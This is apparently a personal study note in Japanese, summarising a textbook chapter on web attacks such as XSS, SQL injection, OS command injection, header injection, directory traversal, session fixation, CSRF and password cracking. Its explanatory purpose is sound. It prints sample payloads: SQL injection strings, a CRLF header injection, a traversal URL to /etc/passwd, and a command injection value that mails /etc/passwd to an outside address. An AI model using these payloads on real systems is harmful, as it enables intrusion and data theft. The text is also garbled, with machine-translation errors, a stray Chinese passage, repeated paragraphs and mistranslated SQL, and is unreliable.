http 勉強ノート 3

第11章 Web攻撃の手口
11.1 Web攻撃の手口
簡易なHTTPプロトコル自体にはセキュリティ上の問題がないため、プロトコル自体が攻撃の対象となることはほとんどありません。HTTPプロトコルを使用するサーバーやクライアント、サーバー上で動作するWebアプリケーションなどのリソースが攻撃の対象となります。現在、インターネットからの攻撃のほとんどは Web サイトをターゲットにしており、そのほとんどは Web アプリケーションをターゲットとしています。この章では主にWebアプリケーションの攻撃手法について説明します。

11.1.1 HTTP には必要なセキュリティ機能がない
現在の Web サイト アプリケーションは、当初の設計とは根本的に異なる方法で HTTP プロトコルを使用しています。現在のほとんどの Web サイトではセッション管理や暗号化処理などのセキュリティ機能が使用されていますが、HTTP プロトコルではこれらの機能を利用できません。
全体として、HTTP は一般的な純粋なプロトコル メカニズムです。したがって、利点は多くありますが、セキュリティの点では欠点があります。
リモートログインに使用される SSH プロトコルを例に挙げると、SSH にはプロトコルレベルの認証やセッション管理などの機能がありますが、HTTP プロトコルにはありません。また、SSHサービスの構築に関しては、誰でも簡単にセキュリティレベルの高いサービスを構築できますが、HTTPサーバーを構築したとしても、サーバーベースのWebアプリケーションを提供したい場合には再開発が必要となります。多くの場合。
したがって、開発者は、Web アプリケーションのセキュリティ要件を満たす認証およびセッション管理機能を設計および開発する必要があります。そしてセルフデザインするということは、様々な気づきがあるということです。そのため、セキュリティレベルは完全ではありませんが、それでも動作する Web アプリケーションの背後には、攻撃者に悪用されやすいさまざまなバグが存在します。

11.1.2 クライアント側でリクエストを改ざんできる
Webアプリケーションでは、ブラウザから受信したHTTPリクエストの内容全体をクライアント側で自由に変更・改ざんすることができます。そのため、Web アプリケーションは予期したデータとは異なるコンテンツを受信する可能性があります。
HTTP リクエスト メッセージに攻撃コードを読み込むことで、Web アプリケーションに対する攻撃を開始できます。攻撃コードは、URL クエリフィールドやフォーム、HTTP ヘッダー、Cookie などを介して渡されます。このとき Web アプリケーションにセキュリティホールがあると、内部情報が盗まれたり、攻撃者に管理権限が取得されたりします。

11.1.3 Web アプリケーションに対する攻撃モード
Web アプリケーションに対する攻撃モードは 2 つあります。
アクティブ攻撃
パッシブ攻撃
サーバーをターゲットとしたアクティブ攻撃
アクティブ攻撃とは、攻撃者がWebアプリケーションに直接アクセスし、攻撃コードを導入する攻撃形態を指します。このモードはサーバー上のリソースを直接攻撃するため、攻撃者はそれらのリソースにアクセスできる必要があります。
アクティブ攻撃モードでの代表的な攻撃は、SQLインジェクション攻撃とOSコマンドインジェクション攻撃です。

サーバーをターゲットとしたパッシブ攻撃 パッシブ攻撃とは、トラップ戦略を使用して攻撃コードを実行する攻撃モードを指します。受動的攻撃では、攻撃者はターゲットの Web アプリケーション アクセスを直接攻撃しません。通常のパッシブ攻撃の攻撃パターンは以下の通りです。
ステップ 1: 攻撃者はユーザーをだまして、設定されたトラップをトリガーさせ、攻撃コードが埋め込まれた HTTP リクエストを開始します。
ステップ 2: ユーザーが知らないうちに捕らえられた後、ユーザーのブラウザまたはメール クライアントがトラップをトリガーします。
ステップ 3: だまされた後、ユーザーのブラウザは、攻撃コードを含む HTTP リクエストを攻撃対象の Web アプリケーションに送信し、攻撃コードを実行します。
ステップ 4: 攻撃コードが実行されると、セキュリティ上の脆弱性のある Web アプリケーションが攻撃者の踏み台となり、ユーザーが保持する Cookie などの個人情報が盗まれたり、ログイン状態でユーザーの権利が悪用されたりする可能性があります。 、その他の結果。パッシブ攻撃モードの典型的な攻撃は、クロスサイト スクリプティングとクロスサイト リクエスト フォージェリです。

パッシブ攻撃モードの典型的な攻撃は、クロスサイト スクリプティングとクロスサイト リクエスト フォージェリです。
ユーザーの ID を使用して企業の内部ネットワークを攻撃する 受動的攻撃を使用すると、インターネットから直接アクセスできないイントラネットなどのネットワークに対して攻撃を開始できます。攻撃者があらかじめ仕掛けた罠にユーザーが足を踏み入れてしまえば、ユーザーがアクセスできるネットワークの範囲であれば、企業のイントラネットも攻撃されてしまいます。多くの企業イントラネットは引き続きインターネットに接続したり、Web サイトにアクセスしたり、インターネットから電子メールを受信したりできます。これにより、攻撃者がユーザーを誘導してトラップをトリガーし、企業イントラネットに攻撃を仕掛ける機会が与えられる可能性があります。

11.2 出力値のエスケープ不完全によるセキュリティ脆弱性
Webアプリケーションのセキュリティ対策は大きく以下の2つに分けられます。
クライアント側検証
Webアプリケーション側(サーバー側)検証
入力値検証
出力値エスケープ

ほとんどの場合、クライアント側でデータを検証するために JavaScript が使用されます。ただし、クライアント側ではデータの改ざんやJavaScriptの無効化が許可されているため、JavaScriptの検証をセキュリティ対策として使用することは適していません。クライアント側の検証を保持するのは、入力エラーをできるだけ早く特定し、UI エクスペリエンスを向上させることだけです。Webアプリケーション側での入力値の検証は、Webアプリケーション内で処理すると攻撃的なコードと誤認される可能性があります。入力値の検証とは、通常、入力値がシステムのビジネスロジックに適合しているかどうかを確認したり、文字コードなどの予防策を確認したりすることを指します。Web アプリケーションによって処理されたデータをデータベースやファイル システム、HTML、電子メールなどから出力する場合、出力の値をエスケープすることは重要なセキュリティ戦略です。出力値が不完全にエスケープすると、攻撃者によって渡された攻撃コードがトリガーされ、出力オブジェクトに損害が発生します。

クロスサイトスクリプティング攻撃(Cross-Site Scripting、XSS)とは、セキュリティホールのあるWebサイトの登録ユーザーのブラウザ上で不正なHTMLタグやJavaScriptを実行する攻撃のことを指します。HTML の動的に作成された部分には、セキュリティ ホールが隠れる可能性があります。このようにして、攻撃者はトラップを設定するスクリプトを作成し、ユーザーがブラウザ上で実行しているときに、注意しないと受動的攻撃を受けることになります。クロスサイト スクリプティング攻撃により、次のような影響が生じる可能性があります。虚偽の入力フォームを使用してユーザーの個人情報をだまし取る。このスクリプトはユーザーの Cookie 値を盗むために使用され、被害者は攻撃者が知らないうちに悪意のあるリクエストを送信するのを手助けします。虚偽の記事や画像を表示する。動的に生成されるHTMLに対してクロスサイトスクリプティング攻撃が発生するケースとして、個人情報ページの編集を例にクロスサイトスクリプティング攻撃について説明します。以下のインターフェースには、ユーザーが入力した個人情報の内容が表示されます。

確認画面には、編集画面で入力した文字列がそのまま表示されます。ここに山口一郎などのHTMLタグ付きの文字列を入力します。

図:入力内容をそのまま表示する仕組み
このときの確認インターフェースでは、ブラウザがユーザー入力をHTMLタグに解析して取り消し線を表示します。取り消し線が表示されるのはそれほど悪いことではありませんが、代わりに script タグが使用されたらどうでしょうか。XSS は、攻撃者が事前に設定したトラップを使用して引き起こす受動的な攻撃であり、クロスサイト スクリプティング攻撃は受動的な攻撃であるため、攻撃者は事前に攻撃用のトラップを配置します。下図のWebサイトでは、アドレスバーのURIのクエリ欄でIDを指定していますが、これはフォームに文字列を自動入力する機能に相当します。そしてそこには、クロスサイト スクリプティング攻撃を実行できる隠れた脆弱性が存在します。
この脆弱性の特徴を熟知した攻撃者は、悪意のあるコードを埋め込んだ次の URL を作成します。また、事前に用意された詐欺メールや Web ページに隠されて埋め込まれ、ユーザーが URL をクリックするように誘導されます。ブラウザが URI を開いた後、直感的には何も変わっていないように感じますが、設定されたスクリプトが密かに実行され始めます。ユーザーがフォームにIDとパスワードを入力すると、攻撃者のWebサイト(hackr.jp)に直接送信され、個人のログイン情報が盗まれ、その後、IDとパスワードが引き渡されます。公式サイトにアクセスし、通常のログイン手順を行っているため、ユーザーはログイン情報の漏洩に気づきにくいです。

次の悪意を持って作成されたスクリプトは、フォームにトラップを設定するだけでなく、クロスサイト スクリプティング攻撃の形でユーザーの Cookie 情報を盗む可能性もあります。

クロスサイト スクリプティング攻撃を可能にするセキュリティ上の脆弱性がある Web アプリケーション上で上記の JavaScript プログラムを実行すると、Web アプリケーションが配置されているドメイン名の Cookie 情報にアクセスできます。この情報は攻撃者の Web サイト (http://hackr.jp/) に送信され、ログイン ログに記録されます。その結果、攻撃者はこの方法でユーザーの Cookie 情報を盗みます。

不正なSQLを実行できるSQLインジェクション攻撃 SQLインジェクション(SQLInjection)とは、Webアプリケーションが使用するデータベースに対して不正なSQLを実行することによって発生する攻撃のことを指します。このセキュリティリスクは大きな脅威を引き起こし、場合によっては個人情報や機密情報の漏洩に直結する可能性があります。通常、Web アプリケーションではデータベースが使用され、データベース テーブル内のデータの取得、追加、削除などの操作が必要な場合、SQL ステートメントを使用してデータベースに接続し、特定の操作を実行します。SQL文の呼び出し方法に漏れがあると、悪意を持って挿入(インジェクション)された不正なSQL文が実行される可能性があります。SQL インジェクション攻撃は、次のような影響を引き起こす可能性があります。データベース内のデータの不正な閲覧や改ざん 認証を回避し、データベースサーバー業務に関わるプログラムを実行する SQLとは SQL SQL は、リレーショナル データベース管理システム (Relational DataBaseManagement System、RDBMS) を動作させるために使用されるデータベース言語であり、データの操作やデータの定義を行うことができます。など。RDBMS のよく知られたデータベースには、Oracle Database、Microsoft SQLServer、IBM DB2、MySQL、PostgreSQL などがあります。これらのデータベース システムは、データベース言語として SQL を使用できます。データベースを利用するWebアプリケーションは、SQL文を何らかの方法でRDBMSに渡し、RDBMSから返された結果をWebアプリケーション内で柔軟に利用します。
SQL文例
SELECT title,text FROM newsTbl WHERE id=123

SQLインジェクション攻撃事例キーワード
を検索するクエリフィールドを指定
= 上野玄' –
SELECT * FROM bookTbl WHERE author ='上野玄' --' and flag=1;
原因: SQL文内 – それ以降すべてコメントとみなされます。つまり、条件とフラグ=1 は自動的に無視されます。
キーワード = '123 または 1=1'
SELECT title,text FROM newsTbl WHERE name= 123 または 1=1
問題の原因: すべてのデータが判明しました

11.2.3 OS コマンドインジェクション攻撃
OS コマンドインジェクション攻撃 (OS Command Injection) とは、攻撃目的を達成するために、Web アプリケーションを通じて不正なオペレーティング システム コマンドを実行することを指します。Shell関数を呼び出すことができる限り、攻撃される危険性はあります。
オペレーティング システム コマンドは、Web アプリケーション内からシェルを通じて呼び出すことができます。シェルの呼び出しに漏れがあると、不正なOSコマンドが挿入されて実行される可能性があります。
OS コマンド インジェクション攻撃では、コマンドがシェルに送信され、Windows または Linux オペレーティング システムのコマンド ラインでプログラムが起動される可能性があります。つまり、OS インジェクション攻撃によって OS 上のセキュリティが実行される可能性があります

OSインジェクション攻撃事例
以下では、相談フォームの送信機能を例にOSインジェクション攻撃について説明します。この機能は、ユーザーの相談メールを、入力された相手のメールアドレスに送信することができます。
以下は、フォームのコンテンツを処理するコア コードの一部の抜粋です。
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: [email protected]\n";
プログラムで開くこの関数はメールを送信するために sendmail コマンドを呼び出します。指定されたメール送信アドレスは $adr の値です。
; cat /etc/passwd | mail [email protected]

| /usr/sbin/sendmail ; 猫 /etc/passwd | メール [email protected]

攻撃者の入力値にはセミコロン (;) が含まれています。この記号は、OS コマンド内の複数の実行コマンドを区切るトークンとして解釈されます。
sendmail コマンドの実行が切り離された後、次に cat /etc/passwd | mail [email protected] といったコマンドが実行されることがわかります。その結果、Linux アカウント情報を含むファイル /etc/passwd が [email protected] にメールで送信されました。

11.2.4 HTTP ヘッダー インジェクション攻撃
HTTP ヘッダー インジェクション (HTTP ヘッダー インジェクション) は、攻撃者が応答ヘッダー フィールドに改行を挿入することによって応答ヘッダーまたは本文を追加する攻撃を指します。パッシブアグレッシブモードに属します。ヘッダー本文にコンテンツを追加する攻撃は、HTTP 応答分割攻撃として知られています。
以下のように、WebアプリケーションではレスポンスヘッダフィールドのLocationやSet-Cookieに外部から受け取った値を代入することがあります。
場所:http://www.example.com/a.cgi?q=12345
Set-Cookie:UID=12345
*12345は挿入される値です

HTTP ヘッダー インジェクションは、特定の応答ヘッダー フィールドが出力値を処理する必要がある場所に改行を挿入することで、このような攻撃を行う可能性があります。
HTTP ヘッダー インジェクション攻撃は、次のような影響を引き起こす可能性があります。
任意のCookie情報を設定
任意のURLにリダイレクトして
任意の本文を表示(HTTPレスポンス切り捨て攻撃)

HTTP ヘッダー インジェクション攻撃の事例
カテゴリを選択すると、各カテゴリに対応するページにジャンプする機能を例に、HTTP ヘッダー インジェクション攻撃について説明します。この関数は、カテゴリごとにカテゴリ ID 値を設定します。カテゴリを選択すると、その ID 値は、Location: http://example.com/? cat=101 のように、応答の Location ヘッダー フィールドに反映されます。ブラウザをリダイレクトしてジャンプさせます。
攻撃者は、以前のカテゴリ ID を置き換える次の内容を含むリクエストを送信します。
101%0D%0ASet-Cookie:+SID=123456789
このうち、%0D%0AはHTTPメッセージ内の改行文字を表し、その後に攻撃者のWebサイト(http://hackr.jp/)に強制アクセスできるセッションIDを設定します。 Set-Cookie ヘッダー フィールドに SID=123456789 を追加します。
このリクエストを送信した後、結果として次のレスポンスが返されたとします。
場所: http://example.com/?cat=101 (%0D%0A: 改行)
Set-Cookie: SID=123456789

現時点では、ヘッダー フィールド Set-Cookie が有効であるため、攻撃者は Cookie 情報の変更を指定できます。セッション固定攻撃 (攻撃者は指定されたセッション ID を使用できる) 攻撃と組み合わせることで、攻撃者はユーザーになりすますことができます。
攻撃者が入力した %0D%0A は、本来はヘッダー フィールド Location のクエリ値に属するはずですが、解析後、%0D%0A は改行文字となり、結果として新しいヘッダー フィールドが挿入されます。
これにより、攻撃者は応答に任意のヘッダー フィールドを挿入することができます。

HTTP レスポンス切り捨て攻撃
HTTP レスポンス切り捨て攻撃は、HTTP ヘッダー インジェクションで使用される攻撃です。攻撃シーケンスは同じですが、2 つの %0D%0A%0D%0A が文字列に並べて挿入されて送信されます。この 2 つの連続する改行を使用して、HTTP ヘッダーとボディを区切るのに必要な空行を作成し、攻撃目的を達成するために偽造されたボディを表示することができます。このような攻撃は、HTTP 応答切り捨て攻撃と呼ばれます。

%0D%0A%0D%0A之后,想要显示的网页内容 <!<br/> 在可能进行 HTTP 首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应。<br/> Set-Cookie: UID=(%0D%0A :换行符)<br/> (%0D%0A :换行符)

之后,想要显示的网页内容

11.2.5 メールヘッダーインジェクション攻撃
11.2.6 ディレクトリトラバーサル攻撃
ディレクトリトラバーサル攻撃とは、ディレクトリパスを不正に切り詰めることにより、公開を意図していないファイルディレクトリにアクセスする目的を達成する攻撃を指します。この攻撃は、パス トラバーサル攻撃と呼ばれることもあります。

Web アプリケーションを通じてファイルを処理する場合、外部で指定されたファイル名の処理に漏れがある場合、ユーザーは .../ などの相対パスを使用して、/etc/passed などの絶対パスを見つけることができるため、サーバー すべてのディレクトリにアクセスできます。これにより、Webサーバー上のファイルを不正に閲覧・改ざん・削除することが可能となります。出力値のエスケープには問題がありますが、任意のファイル名への指定されたアクセスをオフにすることをお勧めします。

ディレクトリトラバーサル攻撃の例
ファイルの表示・読み込み機能を例に、ディレクトリトラバーサル攻撃について説明します。この関数は、次のクエリ フィールドを通じてファイル名を指定します。次に、指定されたファイルを /www/log/ ファイル ディレクトリから読み取ります。
http://example.com/read.php?log=0401.log
攻撃者は、次のクエリ フィールドを設定した後、リクエストを送信します。
http://example.com/read.php?log=…/…/etc/passwd
クエリ フィールド 攻撃者のターゲットとなっている /etc/passwd ファイルを読み取るために、/www/log からの相対パスが特定されます。 /ディレクトリ。この read.php スクリプトが指定されたディレクトリへのアクセス要求を受け入れる場合、元々公開されていないファイルにアクセスされる危険性があります。

11.2.7 リモート ファイル インクルードの脆弱性
リモート ファイル インクルードの脆弱性 (リモート ファイル インクルージョン) とは、スクリプト コンテンツの一部を他のファイルから読み取る必要がある場合、攻撃者が指定された外部サーバーの URL を依存
ファイル任意のスクリプトを実行する攻撃。これは主にPHPのセキュリティ・ホールで、PHPのincludeやrequireの場合、ファイル名として外部サーバーのURLを指定するように設定できる機能です。ただし、この機能は危険すぎて、PHP5.2.0以降はデフォルトで無効になっています。出力値のエスケープには問題がありますが、任意のファイル名の指定は制御する必要があります。

11.3 設定または設計上の欠陥によって引き起こされるセキュリティ上の欠陥
セットアップまたは設計上の欠陥によって引き起こされるセキュリティ上の欠陥とは、Web サーバーの誤った設定または何らかの設計上の問題によって引き起こされるセキュリティ上の欠陥を指します。
11.3.1 強制ブラウズ
強制ブラウズ (強制ブラウズ) セキュリティ脆弱性とは、Web サーバーのパブリック ディレクトリに配置されたファイルから元々意図せずに公開されたファイルを閲覧することを指します。
強制ブラウジングにより、次のような影響が生じる可能性があります。
顧客の個人情報などの重要情報
の漏洩 アクセス権のあるユーザーのみが閲覧すべき情報の
漏洩 外部にリンクされていないファイルの漏洩
本来公開する予定のないファイルのURLはセキュリティのため隠蔽されている理由。ただし、これらの URL がわかれば、その URL に対応するファイルを参照できることになります。推測しやすいファイル名やファイルディレクトリのインデックスを直接表示する場合、メソッドによってはURLが漏洩する可能性があります。
ファイルディレクトリ一覧
http://www.example.com/log/
ファイルディレクトリ名を指定すると、表示されているファイル名がファイル一覧に表示されます。推測しやすいファイル名とディレクトリ名
http://www.example.com/entry/entry_081202.log
推測しやすいファイル名(上記の状況から、次のファイルはentry_081203であると推測できます) .log)
バックアップ ファイル
http://www.example.com/cgi-bin/entry.cgi (元のファイル)
http://www.example.com/cgi-bin/entry.cgi~ (バックアップ ファイル)
http://www.example.com/cgi-bin/entry.bak (バックアップファイル)
編集ソフトが自動生成したバックアップファイルには実行権限がなく、ソースコードをそのまま表示できる
ファイルです。証明書が
直接渡された後にのみ表示される Web ページで使用するために認証が必要なファイル
(HTML ファイル、画像、PDF などのドキュメント、CSS およびその他のデータなど)

強制閲覧によるセキュリティ脆弱性の事例
会員制SNSの日記機能を例に、強制閲覧によるセキュリティの抜け穴について説明します。日記機能は、アクセス権限を持ったユーザー本人以外は日記にアクセスすることができません。
この日記に掲載されているイメージ写真のソースコードを以下に示します。

この日記にアクセスできなくても、画像のURLがわかれば、URLを直接指定して画像を表示することができます。日記の機能とテキストはアクセスオブジェクトの制御を持っていますが、画像アクセスオブジェクトの制御を持っていないため、セキュリティホールが発生します。

11.3.2 間違ったエラー メッセージの処理
間違ったエラー メッセージの処理 (エラー処理の脆弱性) のセキュリティ上の脆弱性とは、Web アプリケーションのエラー メッセージに攻撃者にとって有益な情報が含まれていることを意味します。Webアプリケーションに関する主なエラーメッセージは以下のとおりです。
Web アプリケーションがスローするエラー メッセージ
データベースなどのシステムがスローするエラー メッセージ
Web アプリケーションは、ユーザーの閲覧画面に詳細なエラー メッセージを表示する必要はありません。攻撃者にとって、詳細なエラー メッセージは次の攻撃のヒントとなる可能性があります。
エラーメッセージの対応を誤るとセキュリティ脆弱性が発生するケース
Webアプリケーションがスローするエラーメッセージ
認証機能の認証エラーメッセージを例に、エラーメッセージの誤った対応方法を説明します。この認証機能は、フォームに入力されたメールアドレスとパスワードが一致しない場合にエラーメッセージを表示します。

上の画面では「メールアドレスが登録されていません」というエラーメッセージが表示されます。このエラー メッセージは、入力した電子メール アドレスが Web サイトに登録されていない場合に表示されます。メールアドレスが存在する場合、「入力されたパスワードが間違っています」などのエラーメッセージが表示されるはずだからです。

攻撃者は、入力した電子メール アドレスが既にこの Web サイトに登録されているかどうかを確認するために、さまざまな入力を行うことでさまざまなエラー メッセージを表示します。エラー メッセージが攻撃者に啓発されないように、プロンプト メッセージの内容は「認証エラー」のレベルに留めておくことをお勧めします。
データベースなどのシステムによってスローされるエラー メッセージ
検索機能によって表示されるエラー メッセージを例にして、間違ったエラー メッセージに対処する方法を説明します。この関数はデータを取得するために使用する関数であり、想定外の文字列を入力した場合にはデータベースエラーが表示されます。
認証機能の認証エラーメッセージを例に、誤ったエラーメッセージが表示された場合の対処方法を説明します。この認証機能は、フォームに入力されたメールアドレスとパスワードが一致しない場合にエラーメッセージを表示します。

上画面にはSQLに関するエラーメッセージが表示されます。開発者にとって、この情報はデバッグ時に役立つかもしれませんが、ユーザーにとっては役に立ちません。このメッセージから、攻撃者はデータベースが MySQL であることを読み取り、SQL ステートメントの断片を見ることもできます。これは、攻撃者に SQL インジェクション攻撃のインスピレーションを与える可能性があります。

システムによってスローされるエラーは、主に次の側面に焦点を当てています。
PHP や ASP などのスクリプト エラー
データベースまたはミドルウェアのエラー
Web サーバーのエラー
各システムは、詳細なエラー メッセージを抑制するか、カスタム エラー メッセージを使用して、攻撃者を刺激する特定のエラー メッセージを回避する必要があります。

11.3.3 オープンリダイレクト
オープンリダイレクト(Open Redirect)は、指定したURLにリダイレクトする機能です。この機能に関連するセキュリティ ホールは、指定されたリダイレクト URL が悪意のある Web サイトへの場合、ユーザーがその Web サイトに誘導されることを意味します。

オープン リダイレクト攻撃のケース
以下の URL のリダイレクトを例に、オープン リダイレクト攻撃のケースを説明します。URLにパラメータを指定して元のURLをリダイレクトする機能です。
http://example.com/?redirect=http://www.tricorder.jp
攻撃者は、以下に示すように、トラップされた Web サイトの対応する接続​​へのリダイレクトで指定されたパラメータを書き換えます。
http://example.com/?redirect=http://hackr.jp
URL を見たユーザーは、example.com にアクセスすると思いましたが、実際には指定されたリダイレクト先の hackr.jp に誘導されます。
信頼性の高いWebサイトでリダイレクト機能が有効になっていると、攻撃者に選択され、フィッシング攻撃の踏み台として利用される可能性があります。

11.4 セッション管理の不用意によるセキュリティ脆弱性
セッション管理はユーザの状態を管理するために必須の機能ですが、セッション管理を怠ると、ユーザの認証状態が盗まれてしまう可能性があります。
11.4.1 セッションハイジャック
セッションハイジャック(Session Hijack)とは、攻撃者が何らかの手段でユーザーのセッションIDを取得し、そのセッションIDを不正に使用してユーザーになりすまし、攻撃目的を達成することをいいます。認証機能を備えたWebアプリケーションでは、認証状態を管理するためにセッションIDを利用したセッション管理機構が主流となっています。セッションIDにはクライアントのCookieなどの情報が記録され、サーバー側でセッションIDと認証状態の一対一の対応付けを管理します。

以下に、攻撃者がセッション ID を取得するいくつかの方法を示します。
非公式な生成方法によるセッションIDの推測
盗聴やXSS攻撃によるセッションIDの盗用 セッション
固定攻撃(Session Fixation)によるセッションIDの強制取得

セッションハイジャック攻撃のケース
認証機能を例にしてセッションハイジャックについて説明します。ここでの認証機能は、セッション管理メカニズムを通じて、認証に成功したユーザーのセッション ID (SID) をユーザーのブラウザーの Cookie に保存します。
攻撃者は、Web サイトにクロスサイト攻撃 (XSS) の可能性があるセキュリティ ホールがあることを知ると、JavaScript スクリプトで document.cookie を呼び出すトラップを設定し、Cookie 情報を盗みます。 ID。
攻撃者はユーザーのセッション ID を取得すると、そのセッション ID をブラウザの Cookie に設定し、セッション ID を盗まれたユーザーになりすまして Web サイトにアクセスすることができます。

11.4.2 セッション固定攻撃
対象のセッション ID を盗むセッションハイジャックを能動的攻撃手段とするセッション固定攻撃 (Session Fixation) 攻撃は、攻撃者が指定したセッション ID の使用をユーザーに強制する受動的攻撃です。 。

セッション固定攻撃の事例
認証機能を例にセッション固定攻撃について説明します。本Webサイトの認証機能は、認証前にセッションIDを発行し、認証が成功するとサーバー側で認証ステータスが変更されます。

攻撃者は、まず Web サイトにアクセスしてセッション ID (SID=f5d1278e8109) を取得することで、トラップを準備します。現時点では、サーバー上のセッション ID の記録はまだ (未認証) です。(ステップ①~②)

攻撃者は、ユーザーにセッション ID の使用を強制するトラップを設定し、ユーザーがセッション ID で認証されるのを待ちます。ユーザーがトラップをトリガーして認証を完了すると、サーバー上のセッション ID (SID=f5d1278e8109) の状態 (ユーザー A が認証されている) が記録されます。(手順③)

攻撃者は、ユーザーがトラップをトリガーしそうになったと推定し、以前のセッション ID を使用して Web サイトにアクセスします。セッション ID は現在 (ユーザー A が認証されている) 状態であるため、攻撃者はユーザー A として Web サイトにログインすることに成功します。(手順④)

セッション アダプション
セッション アダプションとは、PHP または ASP.NET が不明なセッション ID を受信して​​処理できる機能を指します。
この機能を悪用すると、セッション固定攻撃の準備段階をスキップして、Web サイトから発行されたセッション ID を取得する可能性があります。つまり、攻撃者はセッション ID を非公開で作成してトラップを形成することができますが、ミドルウェアはそのセッション ID を未知のセッション ID であると誤って認識し、それを受け入れてしまいます。

11.4.3 クロスサイト リクエスト フォージェリ
クロスサイト リクエスト フォージェリ (Cross-Site Request Forgeries、CSRF) 攻撃とは、攻撃者が認証されたユーザーに予期しない個人情報や設定情報などを強制的に実行させることを指します。これらのステータス更新はパッシブ アグレッシブです。 。
クロスサイト リクエスト フォージェリは、次の影響を引き起こす可能性があります。
認証ユーザー権限を利用して設定情報などを更新する
認証ユーザー権限を利用して製品を購入する
認証ユーザー権限を利用して掲示板にコメントを投稿する

クロスサイト リクエスト フォージェリ攻撃の例
掲示板機能を例に、クロスサイト リクエスト フォージェリについて説明します。この機能は、認証されてログインしたユーザーのみが掲示板に投稿できるようにします。
掲示板システム上で被害者ユーザーAが認証される。ブラウザの Cookie には、認証されたセッション ID が保持されます (手順①)。
攻撃者は、ユーザーが掲示板にアクセスすると、掲示板に主観的ではないコメントを投稿するリクエストを送信する罠を仕掛けます。ユーザーAのブラウザがトラップ内のリクエストを実行すると、掲示板にコメントが残ります(手順②)。
トラップがトリガーされたときに、ユーザー A が認証に合格していない場合、ユーザー A の ID 権限を使用してメッセージ ボードにコンテンツを投稿することはできません。

11.5 その他のセキュリティ脆弱性
11.5.1 パスワードクラッキング
パスワードクラッキング攻撃 (Password Cracking) は、パスワードを計算して認証を突破することです。Webアプリケーションだけでなく、他のシステム(FTPやSSHなど)も攻撃の対象となりますが、ここでは認証機能を持つWebアプリケーションのパスワードクラッキングについて説明します。
パスワードを解析するには 2 つの方法があります。
ネットワークを介したパスワードの試行錯誤 暗号化され
たパスワードの解読(攻撃者がシステムに侵入し、暗号化またはハッシュ化されたパスワード データを取得する状況を指します)により、認証ブレーク
スルーを攻撃する手段や、認証を回避するための SQL インジェクション攻撃の手段が除去されます。サイトスクリプティング パスワード情報などを盗む攻撃。
ネットワーク経由のパスワードトライアンドエラー
Web アプリケーションが提供する認証機能に対して、ネットワーク経由でパスワード候補を試行する攻撃。主に2つの方法があります。
ブルート フォース
アタック 辞書 攻撃ブルート
フォース
アタック ブルート フォース アタック (ブルート フォース アタックとも呼ばれる) は、すべてのキー セットで構成されるキー スペース (Keyspace) を網羅的に列挙することを指します。つまり、実行可能なすべてのパスワード候補を使用してターゲットの暗号システムを試行し、検証を突破する攻撃です。
例えば、銀行が採用している暗証番号が「4桁」からなるパスワードの場合、0000から9999までのすべての桁を1桁ずつ試す必要があります。このように、パスワード候補セットには、認証を通過できる正しいパスワードが存在する必要があります。ブルート フォースはすべてのパスワード候補を試すため、確実にパスワードを破る攻撃です。ただし、キー空間が大きい場合、復号には数年、場合によっては数千年かかる場合があるため、実際的な観点から見ると、攻撃は失敗となります。
辞書攻撃
辞書攻撃とは、あらかじめ収集されたパスワードの候補(さまざまな組み合わせで辞書に格納されている)を使用して、辞書内のパスワードを列挙し、認証を通過させようとする攻撃手法を指します。
「4桁」の暗証番号をパスワードとして使用している銀行を例に挙げると、ユーザーが自分の誕生日をパスワードとして使用する可能性が高いことを考慮して、生年月日を0101~1231で保存するなど、数値化することができます。辞書として、試してみてください。ブルートフォース方式に比べて、試行するパスワードの候補が少ないため、攻撃にかかる時間が短くなります。ただし、正しいパスワードが辞書にない場合、パスワードを正常に解読することはできません。したがって、攻撃の成否は辞書の内容によって決まります。

他に流出したIDとパスワードを利用した
攻撃 辞書攻撃には、他のWebサイトから流出したIDとパスワードのリストを利用した攻撃が含まれます。多くのユーザーは、複数の Web サイトで同じ ID とパスワードのセットをランダムに使用することに慣れているため、攻撃は非常に高い確率で成功します1。

暗号化されたパスワードの解読
Web アプリケーションは通常、パスワードを保存する際、平文で直接保存するのではなく、ハッシュ関数でハッシュ化したり、ソルトを付加したりして暗号化して保存します。攻撃者が何らかの手段を使ってパスワード データを盗んだとしても、そのパスワードを使用したい場合は、まず暗号化されたパスワードを復号化などの手段で平文に復元する必要があります

通常、暗号化されたデータから平文を取得するにはいくつかの方法があります。
ブルートフォース辞書攻撃による類推 鍵を取得する
レインボーテーブル暗号化アルゴリズムの脆弱性

総当たり法・辞書攻撃による類推
パスワードがハッシュ関数で暗号化されている場合、総当たり法や辞書攻撃と同じ方法を用いて、同じハッシュ関数を呼び出してパスワード候補を暗号化してから、計算されたハッシュ関数 列の値がターゲットのハッシュ値と一致し、クラスがパスワードを推測します。

レインボーテーブル
レインボーテーブル(レインボーテーブル)は、平文のパスワードとそれに対応するハッシュ値で構成されるデータベーステーブルです。レインボー テーブル内のハッシュ値を検索することで、対応する平文パスワードを導き出すことができます。
攻撃の成功率を高めるためには、膨大なデータを備えたレインボーテーブルが必須の条件となります。例えば、Free Rainbow TablesのWebサイト(http://www.freerainbowtables.com/en/tables2/)には、1~8桁の文字列に対応するMD5ハッシュ値を大文字のフル配列で構成したテーブルが用意されている小文字と数字 サイズが約 1050 ギガバイトのレインボー テーブル。

鍵の取得
共通鍵暗号方式でパスワードデータを暗号化する場合、暗号化に使用した鍵を何らかの方法で取得できれば、パスワードデータも復号化することができます。

暗号化アルゴリズムの脆弱性
暗号化アルゴリズム自体に抜け穴がある可能性があることを考慮すると、この抜け穴を利用して復号化を試みることも実行可能な方法です。しかし、これらの広く使用されている暗号化アルゴリズムの抜け穴を見つけるのは簡単ではないため、非常に困難であり、成功するのは簡単ではありません。しかし、Web アプリケーション開発者が独自に実装した暗号化アルゴリズムは十分に検証されていないはずで、依然として抜け穴が存在します。

11.5.2 クリックジャッキング
クリックジャッキング (クリックジャッキング) は、透明なボタンまたはリンクを使用してトラップを作成し、Web ページ上でそれらを覆うことを指します。ユーザーをだましてそのリンクをクリックさせ、知らないうちにコンテンツにアクセスさせる攻撃。この動作は、UIRedressing とも呼ばれます。
罠が仕掛けられたWebページには、表面的には不適切な内容はありませんが、ユーザーにクリックしてもらいたいリンクがすでに埋め込まれています。ユーザーが透明ボタンをクリックすると、実際には透明属性要素を指定した iframe ページをクリックします。

クリックジャッキング攻撃の例
